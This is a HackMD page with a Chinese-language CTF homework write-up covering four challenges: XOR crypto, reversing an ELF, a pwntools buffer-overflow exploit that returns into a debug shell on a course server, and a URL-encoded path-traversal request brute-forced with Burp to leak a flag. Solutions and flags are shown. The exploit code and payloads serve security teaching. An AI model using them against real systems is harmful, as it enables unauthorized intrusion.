洪立宇
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    --- tags: 資安實務 - write up --- # Hw0 write up url: <a href="https://edu-ctf.csie.org/">https://edu-ctf.csie.org/</a> ![](https://i.imgur.com/RkfkIGE.png) # problem 1 (Crypto) 題目包含一支py檔、兩張png圖片 ![](https://i.imgur.com/rz9Wyap.png) flag_enc ![](https://i.imgur.com/tSMOWK6.png) golem_emc ```python= #!/usr/bin/env python3 import cv2 #https://pypi.org/project/opencv-python/ import random import string charset = string.ascii_letters + string.digits + '+=' fire, water, earth, air = [random.choice(charset) for _ in range(4)] def combine(a, b): return ''.join([a,b]) def encrypt(arr): swamp = combine(water, earth) energy = combine(fire, air) lava = combine(fire, earth) life = combine(swamp, energy) stone = combine(lava, air) sand = combine(stone, water) seed = combine(sand, life) random.seed(seed) h, w = arr.shape for i in range(h): for j in range(w): arr[i][j] ^= random.randint(0,255) for i in ['flag', 'golem']: msg = cv2.imread(i+'.png', cv2.IMREAD_GRAYSCALE) encrypt(msg) cv2.imwrite(i+'_enc.png', msg) ``` 在28-31行中,程式對兩張圖片分別進行加密,用同樣的random seed對每個像素進行Xor加密,加密後的結果即是題目附上的兩張圖片。 ## 實作 ```python= import cv2 #https://pypi.org/project/opencv-python/ msg1 = cv2.imread('flag_enc.png', cv2.IMREAD_GRAYSCALE) msg2 = cv2.imread('golem_enc.png', cv2.IMREAD_GRAYSCALE) msg3 = msg1 h, w = msg1.shape for i in range(h): for j in range(w): msg3[i][j] = msg2[i][j] ^ msg1[i][j] cv2.imwrite('flag.png', msg3) ``` 將兩張圖片的每個像素進行Xor運算,即可回推原本的Flag Note:因為Xor具有交換率,又a^a=0, a^0=a 所有原本的Flag與golem已經Xor過後,再分別對相同Random seed X做Xor 之後的結果互相做Xor,即可求出Flag,相當於: (Flag ^ Golem) ^ X ^ (Golem ^ X) = Flag ^ Golem ^ X ^ Golem ^ X = Flag ^ 0 ^ 0 = Flag ![](https://i.imgur.com/2KIZuho.png) # problem 2 (Rev) 題目為Rev類型,附上一支程式XAYB(<a href="https://drive.google.com/file/d/1YrHtICec2yHMamlTocxVERMuj4CXGQ5Q/view">下載</a>)。 在Linux環境中執行指令 >file XAYB ![](https://i.imgur.com/MsCrHmq.png) 發現該程式為Linux可執行檔ELF 執行該檔案後發現是一個猜數字遊戲。 ![](https://i.imgur.com/5mBeBqj.png) ## 實作 利用IDA pro進行逆向 Note: F5可以生成虛擬碼 ![](https://i.imgur.com/LXtneg2.png) 從main裡面發現game_logic ![](https://i.imgur.com/Fu1i73D.png) 在game_logic裡面找到猜數字的判斷,猜測應該是猜對就會吐出Flag,因此a1裝的就是Flag ![](https://i.imgur.com/zwpufhF.png) 而a1就是一開始在main裡面傳入的變數v4 IDA pro有時會翻譯錯誤,a1的長度應該是45 所以底下v5、v6加進來才滿足長度 Note:變數儲存是採取little所以v4[0]裡面的B4應該是開頭喔 把0xB4 ^ 0xF2 就能找到 F 剩下的以此類推就能找到答案 # problem 3 (Pwn) 題目: >just check it >nc up.zoolab.org 30001 附上一支程式:arch_check(<a href="https://drive.google.com/file/d/14iBdxUQ4zwwqWHfmhdLwP7F4NtaRHgJX/view">下載</a>) 在linux中透過題目附上的指令,可以連到一個入口 ![](https://i.imgur.com/OFN2xMA.png) 題目會跟我們打招呼,並詢問我們一個問題 回答完後就發現連線自動中斷了 因為是Pwn的題目,所以我們就先對附上的程式做逆向。 ![](https://i.imgur.com/HJ9BOju.png) 在main()裡面發現程式有執行函式呼叫 此時有可能可以利用函式呼叫的漏洞改寫程式邏輯 Note:<a href="https://sites.google.com/view/28-assembly-language/x86-assembly-%E7%9A%84-stack-frame-%E5%92%8C%E5%87%BD%E6%95%B8%E7%9A%84%E5%91%BC%E5%8F%AB%E6%85%A3%E4%BE%8B">x86 Assembly 的 Stack Frame 和函數的呼叫慣例</a> ![](https://i.imgur.com/4Paf7Wg.png) 透過輸入超過字串接收的範圍,將我們想要執行的記憶體位址塞入return address,這樣Scanf結束後,就會跳到我們想要的指令區間。 又v4的儲存結構為 ![](https://i.imgur.com/1VGZlIr.png) 所以r暫存器就是這個函數的return address,因此只要我們將var_20跟s暫存器塞滿,就能造訪到return address,進而改寫程式流程。 在觀察這隻程式的其他部分,可以發現有個含式Debug中有shell入口。 ![](https://i.imgur.com/JzmI1Ss.png) 比對它的機械碼,找到執行的記憶體位置 ![](https://i.imgur.com/FPxiQ7f.png) ![](https://i.imgur.com/gUcKvAj.png) >0x00000000004011E9 只要把程式導到這個區間,就可以拿到shell。 ## 實作 利用python套件pwn,對伺服器發出request,並塞入特定大小的字串,再後面接上我們想跳躍的記憶體位置,取得shell ```python= from pwn import * r = remote('up.zoolab.org', 30001) payload = 'a'*0x20+'a'*0x8+'\xE9\x11\x40\x00\x00\x00\x00\x00' r.sendlineafter("?", payload) r.interactive() ``` ![](https://i.imgur.com/yV5IOJU.png) 拿到shell權限後,就能在伺服器上找到shell了 > 位置:/home/arch_check/flag ![](https://i.imgur.com/vPXXzAE.png) > FLAG{d1d_y0u_ju5t_s4y_w1nd0w5?} # problem 4 (Web) 題目是一個web url: http://splitline.tw:5000/ ![](https://i.imgur.com/uIvlKKX.png) ```htmlembedded= <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>text2emoji</title> <link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet"> <link href="https://unpkg.com/nes.css/css/nes.css" rel="stylesheet" /> <style> .nes-container { max-width: 70vw; margin: 0 auto; margin-top: 10em; } </style> </head> <body> <div class="nes-container with-title is-centered"> <p class="title">text2emoji</p> <div class="nes-field is-inline"> <label>Text</label> <input type="text" class="nes-input" id="input" placeholder="cat"> </div> <br> <div class="nes-field is-inline"> <label>Result</label> <input type="text" class="nes-input" id="output" placeholder="🐱" readonly> </div> <br> <button type="button" class="nes-btn is-primary" id="convert">Convert</button> <button type="button" class="nes-btn is-success" onclick="location='/source'">&lt;/&gt; Source</button> </div> <script> const convert = document.getElementById('convert'); convert.addEventListener('click', function () { fetch('/public_api', { method: 'POST', body: JSON.stringify({ text: document.getElementById('input').value }), headers: { 'Content-type': 'application/json' } }) .then(r => r.json()) .then(json => { if (json.error) alert(json.error); else document.getElementById('output').value = json.result; }); }); </script> </body> </html> ``` </>source 裡的內容 url: http://splitline.tw:5000/source ```javascript= const express = require('express'); const emojiMap = require('emojilib/simplemap.json') const http = require("http"); const assert = require('assert'); const { FLAG } = require('./secret.js'); const app = express(); app.use(express.json()); app.get('/', (_, response) => { response.sendFile(__dirname + "/index.html"); }); app.get("/source", (_, response) => { response.sendFile(__filename); }); app.post("/public_api", (request, response) => { const text = request.body.text.toString(); if (!text.match(/^\S+$/) || text.includes(".")) { response.send({ error: "Bad parameter" }); return; } const url = `http://127.0.0.1:7414/api/v1/emoji/${text}`; http.get(url, result => { result.setEncoding("utf-8"); if (result.statusCode === 200) result.on('data', data => response.send(JSON.parse(data))); else response.send({ error: result.statusCode }); }); }); // public server app.listen(80, "0.0.0.0"); const apiServer = express(); const apiRouter = express.Router(); apiRouter.use('/emoji/:text', (req, res, next) => { const text = req.params.text; if (text in emojiMap) res.send({ result: emojiMap[text] }); else res.send({ error: 'No such emoji.' }); }); apiRouter.use('/looksLikeFlag', (req, res, next) => { assert(FLAG.match(/^FLAG{[a-z0-9_]+}$/)); res.send({ looksLikeFlag: FLAG.includes(req.query.flag) }); }); apiServer.use('/api/v1', apiRouter); // local server apiServer.listen(7414, "127.0.0.1"); ``` 由第一行可以看出這是一份基於Node.js的Express框架建立的服務 ![](https://i.imgur.com/ZkpKMBV.png) ![](https://i.imgur.com/aoVNEsH.png) 更多關於Express框架:https://www.runoob.com/nodejs/nodejs-express-framework.html 在index.html第40-53行可以發現,Convert按鈕的功能,是對/public_api傳送post封包,並將input的內容轉成json格式寫在封包的body裡。 在19-35行(/public_api路由),會將封包的body轉成text ```javascript= if (!text.match(/^\S+$/) || text.includes(".")) { response.send({ error: "Bad parameter" }); return; } ``` 對這串text進行字串過濾,不允許裡面有"."或全部字串為空白 > const url = `http://127.0.0.1:7414/api/v1/emoji/${text}`; 並將text接在一串url後面,再對此地址用get function請求 在49行-53行可以發現有目標function可以使用,但它屬於的聆聽器只監聽port 7474(ip:127.0.0.1)跟port 80(ip:0.0.0.0) ```javascript= apiRouter.use('/looksLikeFlag', (req, res, next) => { assert(FLAG.match(/^FLAG{[a-z0-9_]+}$/)); res.send({ looksLikeFlag: FLAG.includes(req.query.flag) }); }); ``` 這個路由底下的function可以將get封包body中的參數flag與藏有Flag的檔案進行比對,如果參數flag包含在Flag則回傳true Note: 127.0.0.1是host,而0.0.0.0是無效ip,它通常代表機器上所有ip,但port號1024以下的都需要管理者權限才能訪問,因此我們沒辦法直接造訪/looksLikeFlag路由 為了造訪目標路由(http://127.0.0.1:7414/api/v1/looksLikeFlag/),必須透過public_api達成,並在封包的body中插入特定字串"../looksLikeFlag",這樣就可以從路徑XXX/emoji/退回上一層資料夾,再進去/looksLikeFlag 為了繞過public_api中的字串檢測,將字串中的".."轉成url endcode"%2e%2e" P.S. Google插鍵 HackBar 可以幫我們做endcode,但它的url endcode功能不會轉換".",可以轉 unicode 看看編碼,再自行做轉換(unicode與url endcode編碼大致相同,差別在於開頭,unicode開頭 \u00 ,url encdoe開頭 % ) ## 實作 運用Proxy代理伺服器、Burp工具攔截封包,再修改封包內容,最後進行暴力破解。 1. 透過開發者人員工具,觀察Convert送出的封包內容 ![](https://i.imgur.com/zMm8auo.png) ![](https://i.imgur.com/i1RtiSr.png) 2. 透過HackBar,仿造封包內容對public_api傳送封包 ![](https://i.imgur.com/qWAsgCc.png) 3. open Proxy,用Burp攔截封包並修改封包的內容 ![](https://i.imgur.com/uENCQrt.png) ![](https://i.imgur.com/ik3YN0f.png) 將封包的內容sent to Repeater ![](https://i.imgur.com/sEk9zVN.png) ![](https://i.imgur.com/DFjF3Be.png) 將flag參數藉由body中的text帶入 > "text":"%2e%2e/looksLikeFlag?flag=F", sent後的結果: ![](https://i.imgur.com/iVl5q3I.png) 結果為true 表示flag包含字串"F" 4. 透過Burp,進行暴力破解 先Clear $,再透過Add $,指令要攻擊的地方 ![](https://i.imgur.com/BsQKOpt.png) 再設定payload,加入英文字母大小寫、數字、" { } _ " ![](https://i.imgur.com/zTF2NPn.png) Start attack後,搜尋含有"true"的結果 ![](https://i.imgur.com/LzHUPEP.png) ![](https://i.imgur.com/pW26Cxp.png) 由此類推 最終即可暴力破解出Flag: > FLAG{3asy_p4th_tr4vers4l}

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully